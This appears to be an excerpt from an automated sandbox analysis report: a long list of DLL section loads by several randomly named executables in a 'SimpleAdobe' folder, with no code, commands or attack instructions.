Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: sxs.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: scrrun.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: iertutil.dll
